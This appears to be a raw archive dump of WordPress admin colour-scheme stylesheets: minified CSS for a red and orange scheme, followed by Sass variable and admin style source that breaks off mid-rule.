.button-group>.button.active{border-color:var(--wp-admin-theme-color);background:rgba(var(--wp-admin-theme-color--rgb),.08)}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#cf4944}.wp-core-ui .wp-ui-text-primary{color:#cf4944}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#dd823b}.wp-core-ui .wp-ui-text-highlight{color:#dd823b}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#ccaf0b}.wp-core-ui .wp-ui-text-notification{color:#ccaf0b}.wp-core-ui .wp-ui-text-icon{color:hsl(2.1582733813,7%,95%)}.wrap .page-title-action{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wrap .page-title-action:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wrap .page-title-action:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wrap .page-title-action:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.view-switch a.current:before{color:#cf4944}.view-switch a:hover:before{color:#ccaf0b}#adminmenu,#adminmenuback,#adminmenuwrap{background:#cf4944}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:hsl(2.1582733813,7%,95%)}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#dd823b}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f0f0f0;border-bottom-color:#f0f0f0}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:rgb(190.4217021277,53.969787234,48.8782978723)}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-left-color:rgb(190.4217021277,53.969787234,48.8782978723)}#adminmenu .wp-submenu .wp-submenu-head{color:rgb(240.6,200.4,198.9)}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:rgb(240.6,200.4,198.9)}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:rgb(247.3869565217,227.0108695652,211.1130434783)}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:rgb(247.3869565217,227.0108695652,211.1130434783)}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-left-color:#f0f0f0}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#dd823b}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#ccaf0b}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:rgb(190.4217021277,53.969787234,48.8782978723)}#collapse-button{color:hsl(2.1582733813,7%,95%)}#collapse-button:focus,#collapse-button:hover{color:rgb(247.3869565217,227.0108695652,211.1130434783)}#wpadminbar{color:#fff;background:#cf4944}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:hsl(2.1582733813,7%,95%)}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:rgb(247.3869565217,227.0108695652,211.1130434783);background:rgb(190.4217021277,53.969787234,48.8782978723)}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:rgb(247.3869565217,227.0108695652,211.1130434783)}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:rgb(247.3869565217,227.0108695652,211.1130434783)}#wpadminbar .menupop .ab-sub-wrapper{background:rgb(190.4217021277,53.969787234,48.8782978723)}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:rgb(207.3164148936,107.1221761059,103.3835851064)}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:rgb(240.6,200.4,198.9)}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:hsl(2.1582733813,7%,95%)}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:rgb(247.3869565217,227.0108695652,211.1130434783)}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:rgb(247.3869565217,227.0108695652,211.1130434783)}#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:hsl(2.1582733813,7%,95%)}#wpadminbar #adminbarsearch:before{color:hsl(2.1582733813,7%,95%)}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:rgb(214.2919148936,100.6485106383,96.4080851064)}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#ccaf0b}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:rgb(183.6,157.5,9.9)}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:rgb(214.2919148936,100.6485106383,96.4080851064);background-color:rgb(214.2919148936,100.6485106383,96.4080851064)}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:rgb(247.3869565217,227.0108695652,211.1130434783)}#wpadminbar #wp-admin-bar-user-info .username{color:rgb(240.6,200.4,198.9)}.wp-pointer .wp-pointer-content h3{background-color:#dd823b;border-color:rgb(216.8782608696,116.1847826087,37.6217391304)}.wp-pointer .wp-pointer-content h3:before{color:#dd823b}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#dd823b}.media-item .bar,.media-progress-bar div{background-color:#dd823b}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #dd823b}.attachment.details .check{background-color:#dd823b;box-shadow:0 0 0 1px #fff,0 0 0 2px #dd823b}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #dd823b}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#dd823b}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#dd823b}.theme-filter.current,.theme-section.current{border-bottom-color:#cf4944}body.more-filters-opened .more-filters{color:#fff;background-color:#cf4944}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#dd823b;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#dd823b;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px rgb(228.5391304348,157.7173913043,102.4608695652),0 0 2px 1px #dd823b}div#wp-responsive-toggle a:before{color:hsl(2.1582733813,7%,95%)}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#dd823b}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:rgb(190.4217021277,53.969787234,48.8782978723)}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:hsl(2.1582733813,7%,95%)}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#dd823b}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-right-color:#dd823b}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#dd823b}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-right-color:#dd823b}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px rgb(228.5391304348,157.7173913043,102.4608695652),0 0 2px 1px #dd823b}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-right-color:#dd823b;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#dd823b}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#dd823b;border-style:solid;box-shadow:0 0 0 1px #dd823b;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#dd823b}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#dd823b}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#dd823b}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px rgb(228.5391304348,157.7173913043,102.4608695652),0 0 2px 1px #dd823b}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#dd823b;color:#0073aa} css/colors/_variables.scss 0000644 00000005101 15233246127 0011643 0 ustar 00 @use "sass:color"; // Import design system tokens @use "tokens" as *; // assign default value to all undefined variables $scheme-name: "default" !default; // core variables $text-color: #fff !default; $base-color: #23282d !default; $icon-color: hsl(color.channel($base-color, "hue", $space: hsl), 7%, 95%) !default; $highlight-color: #0073aa !default; $notification-color: #d54e21 !default; // global $body-background: $gray-100 !default; $link: #0073aa !default; $link-focus: color.adjust($link, $lightness: 10%) !default; $button-color: $highlight-color !default; $button-text-color: $text-color !default; $form-checked: #7e8993 !default; // admin menu & admin-bar $menu-text: $text-color !default; $menu-icon: $icon-color !default; $menu-background: $base-color !default; $menu-highlight-text: $text-color !default; $menu-highlight-icon: $text-color !default; $menu-highlight-background: $highlight-color !default; $menu-current-text: $menu-highlight-text !default; $menu-current-icon: $menu-highlight-icon !default; $menu-current-background: $menu-highlight-background !default; $menu-submenu-text: color.mix( $base-color, $text-color, 30% ) !default; $menu-submenu-background: color.adjust($base-color, $lightness: -7%) !default; $menu-submenu-background-alt: color.adjust(color.adjust($menu-background, $lightness: 7%), $saturation: -7%) !default; $menu-submenu-focus-text: $highlight-color !default; $menu-submenu-current-text: $text-color !default; $menu-bubble-text: $text-color !default; $menu-bubble-background: $notification-color !default; $menu-bubble-current-text: $text-color !default; $menu-bubble-current-background: $menu-submenu-background !default; $menu-collapse-text: $menu-icon !default; $menu-collapse-icon: $menu-icon !default; $menu-collapse-focus-text: $text-color !default; $menu-collapse-focus-icon: $menu-highlight-icon !default; $adminbar-avatar-frame: color.adjust($menu-background, $lightness: 7%) !default; $adminbar-input-background: color.adjust($menu-background, $lightness: 7%) !default; $adminbar-recovery-exit-text: $menu-bubble-text !default; $adminbar-recovery-exit-background: $menu-bubble-background !default; $adminbar-recovery-exit-background-alt: color.mix(black, $adminbar-recovery-exit-background, 10%) !default; $menu-customizer-text: color.mix( $base-color, $text-color, 40% ) !default; // Dashboard Colors $custom-welcome-panel: "true" !default; $dashboard-accent-1: $menu-submenu-background !default; $dashboard-accent-2: $menu-background !default; $dashboard-icon-background: $dashboard-accent-2 !default; $low-contrast-theme: "false" !default; css/colors/_admin.scss 0000644 00000055056 15233246127 0011001 0 ustar 00 @use 'sass:color'; @use 'sass:string'; @forward 'variables' show $scheme-name, $base-color, $body-background, $button-color, $custom-welcome-panel, $dashboard-accent-1, $dashboard-accent-2, $dashboard-icon-background, $form-checked, $highlight-color, $icon-color, $link, $link-focus, $low-contrast-theme, $menu-bubble-text, $menu-collapse-focus-icon, $menu-collapse-text, $menu-highlight-background, $menu-highlight-icon, $menu-highlight-text, $menu-submenu-text, $menu-submenu-focus-text, $menu-submenu-background, $notification-color, $text-color; @use 'variables'; @use 'mixins'; @use 'tokens'; /** * This function name uses British English to maintain backward compatibility, as developers * may use the function in their own admin CSS files. See #56811. */ @function url-friendly-colour( $color ) { @return '%23' + string.slice( '#{ $color }', 2, -1 ); } body { background: variables.$body-background; } /* Links */ a { color: variables.$link; &:hover, &:active, &:focus { color: variables.$link-focus; } } #post-body .misc-pub-post-status:before, #post-body #visibility:before, .curtime #timestamp:before, #post-body .misc-pub-revisions:before, span.wp-media-buttons-icon:before { color: currentColor; } /* Link button - appears as text link, no border or background */ /* Matches Gutenberg's .is-link button variant */ .wp-core-ui .button-link, .wp-core-ui .button.button-link { color: var(--wp-admin-theme-color); &:hover, &:active { color: var(--wp-admin-theme-color-darker-20); } &:focus { color: var(--wp-admin-theme-color); border-radius: tokens.$radius-s; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } &:disabled, &[aria-disabled="true"] { color: tokens.$gray-600; } } .media-modal .delete-attachment, .media-modal .trash-attachment, .media-modal .untrash-attachment, .wp-core-ui .button-link-delete { color: tokens.$alert-red; } .media-modal .delete-attachment:hover, .media-modal .trash-attachment:hover, .media-modal .untrash-attachment:hover, .media-modal .delete-attachment:focus, .media-modal .trash-attachment:focus, .media-modal .untrash-attachment:focus, .wp-core-ui .button-link-delete:hover, .wp-core-ui .button-link-delete:focus { color: color.adjust(tokens.$alert-red, $lightness: 10%); } /* Forms */ // Checkbox checked state - uses theme color input[type="checkbox"]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } // Radio checked state - uses theme color input[type="radio"]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } .wp-core-ui input[type="reset"]:hover, .wp-core-ui input[type="reset"]:active { color: variables.$link-focus; } // Text input focus - outset focus ring matching button focus style input[type="text"]:focus, input[type="password"]:focus, input[type="color"]:focus, input[type="date"]:focus, input[type="datetime"]:focus, input[type="datetime-local"]:focus, input[type="email"]:focus, input[type="month"]:focus, input[type="number"]:focus, input[type="search"]:focus, input[type="tel"]:focus, input[type="time"]:focus, input[type="url"]:focus, input[type="week"]:focus, select:focus, textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } // Checkbox/Radio focus - Gutenberg-style outset focus ring input[type="checkbox"]:focus, input[type="radio"]:focus { border-color: tokens.$gray-900; box-shadow: 0 0 0 2px tokens.$white, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } // Select focus (wp-core-ui styled selects) .wp-core-ui select:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } // Autocomplete focus state .wp-tags-autocomplete .ui-state-focus, .wp-tags-autocomplete [aria-selected="true"] { background-color: var(--wp-admin-theme-color); } // Password field focus #pass1:focus, #pass1-text:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } // Password toggle button focus .mailserver-pass-wrap .button.wp-hide-pw:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } /* Core UI */ .wp-core-ui { /* Default button - theme color border and text (matches secondary) */ .button { @include mixins.button-secondary(); } /* Secondary button - same as default */ .button-secondary { @include mixins.button-secondary(); } /* Primary button - theme color background */ .button-primary { @include mixins.button(); } .button-group > .button.active { border-color: var(--wp-admin-theme-color); background: rgba(var(--wp-admin-theme-color--rgb), 0.08); } .wp-ui-primary { color: variables.$text-color; background-color: variables.$base-color; } .wp-ui-text-primary { color: variables.$base-color; } .wp-ui-highlight { color: variables.$menu-highlight-text; background-color: variables.$menu-highlight-background; } .wp-ui-text-highlight { color: variables.$menu-highlight-background; } .wp-ui-notification { color: variables.$menu-bubble-text; background-color: variables.$menu-bubble-background; } .wp-ui-text-notification { color: variables.$menu-bubble-background; } .wp-ui-text-icon { color: variables.$menu-icon; } } /* List tables */ // .page-title-action uses secondary button styling .wrap .page-title-action { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: tokens.$radius-s; color: var(--wp-admin-theme-color); } .wrap .page-title-action:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wrap .page-title-action:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wrap .page-title-action:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .view-switch a.current:before { color: variables.$menu-background; } .view-switch a:hover:before { color: variables.$menu-bubble-background; } /* Admin Menu */ #adminmenuback, #adminmenuwrap, #adminmenu { background: variables.$menu-background; } #adminmenu a { color: variables.$menu-text; } #adminmenu div.wp-menu-image:before { color: variables.$menu-icon; } #adminmenu a:hover, #adminmenu li.menu-top:hover, #adminmenu li.opensub > a.menu-top, #adminmenu li > a.menu-top:focus { color: variables.$menu-highlight-text; background-color: variables.$menu-highlight-background; } #adminmenu li.menu-top:hover div.wp-menu-image:before, #adminmenu li.opensub > a.menu-top div.wp-menu-image:before { color: variables.$menu-highlight-icon; } /* Active tabs use a bottom border color that matches the page background color. */ .about-wrap .nav-tab-active, .nav-tab-active, .nav-tab-active:hover { background-color: variables.$body-background; border-bottom-color: variables.$body-background; } /* Admin Menu: submenu */ #adminmenu .wp-submenu, #adminmenu .wp-has-current-submenu .wp-submenu, #adminmenu .wp-has-current-submenu.opensub .wp-submenu, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu { background: variables.$menu-submenu-background; } #adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after, #adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-right-color: variables.$menu-submenu-background; } #adminmenu .wp-submenu .wp-submenu-head { color: variables.$menu-submenu-text; } #adminmenu .wp-submenu a, #adminmenu .wp-has-current-submenu .wp-submenu a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a { color: variables.$menu-submenu-text; &:focus, &:hover { color: variables.$menu-submenu-focus-text; } } /* Admin Menu: current */ #adminmenu .wp-submenu li.current a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a { color: variables.$menu-submenu-current-text; &:hover, &:focus { color: variables.$menu-submenu-focus-text; } } ul#adminmenu a.wp-has-current-submenu:after, ul#adminmenu > li.current > a.current:after { border-right-color: variables.$body-background; } #adminmenu li.current a.menu-top, #adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, #adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head, .folded #adminmenu li.current.menu-top { color: variables.$menu-current-text; background: variables.$menu-current-background; } #adminmenu li.wp-has-current-submenu div.wp-menu-image:before, #adminmenu a.current:hover div.wp-menu-image:before, #adminmenu li.current div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before, #adminmenu li:hover div.wp-menu-image:before, #adminmenu li a:focus div.wp-menu-image:before, #adminmenu li.opensub div.wp-menu-image:before { color: variables.$menu-current-icon; } /* Admin Menu: bubble */ #adminmenu .menu-counter, #adminmenu .awaiting-mod, #adminmenu .update-plugins { color: variables.$menu-bubble-text; background: variables.$menu-bubble-background; } #adminmenu li.current a .awaiting-mod, #adminmenu li a.wp-has-current-submenu .update-plugins, #adminmenu li:hover a .awaiting-mod, #adminmenu li.menu-top:hover > a .update-plugins { color: variables.$menu-bubble-current-text; background: variables.$menu-bubble-current-background; } /* Admin Menu: collapse button */ #collapse-button { color: variables.$menu-collapse-text; } #collapse-button:hover, #collapse-button:focus { color: variables.$menu-submenu-focus-text; } /* Admin Bar */ #wpadminbar { color: variables.$menu-text; background: variables.$menu-background; } #wpadminbar .ab-item, #wpadminbar a.ab-item, #wpadminbar > #wp-toolbar span.ab-label, #wpadminbar > #wp-toolbar span.noticon { color: variables.$menu-text; } #wpadminbar .ab-icon, #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar .ab-item:after { color: variables.$menu-icon; } #wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item, #wpadminbar .ab-top-menu > li.menupop.hover > .ab-item { color: variables.$menu-submenu-focus-text; background: variables.$menu-submenu-background; } #wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label { color: variables.$menu-submenu-focus-text; } #wpadminbar:not(.mobile) li:hover .ab-icon:before, #wpadminbar:not(.mobile) li:hover .ab-item:before, #wpadminbar:not(.mobile) li:hover .ab-item:after, #wpadminbar:not(.mobile) li:hover #adminbarsearch:before { color: variables.$menu-submenu-focus-text; } /* Admin Bar: submenu */ #wpadminbar .menupop .ab-sub-wrapper { background: variables.$menu-submenu-background; } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary, #wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu { background: variables.$menu-submenu-background-alt; } #wpadminbar .ab-submenu .ab-item, #wpadminbar .quicklinks .menupop ul li a, #wpadminbar .quicklinks .menupop.hover ul li a, #wpadminbar.nojs .quicklinks .menupop:hover ul li a { color: variables.$menu-submenu-text; } #wpadminbar .quicklinks li .blavatar, #wpadminbar .menupop .menupop > .ab-item:before { color: variables.$menu-icon; } #wpadminbar .quicklinks .menupop ul li a:hover, #wpadminbar .quicklinks .menupop ul li a:focus, #wpadminbar .quicklinks .menupop ul li a:hover strong, #wpadminbar .quicklinks .menupop ul li a:focus strong, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a, #wpadminbar .quicklinks .menupop.hover ul li a:hover, #wpadminbar .quicklinks .menupop.hover ul li a:focus, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus, #wpadminbar li:hover .ab-icon:before, #wpadminbar li:hover 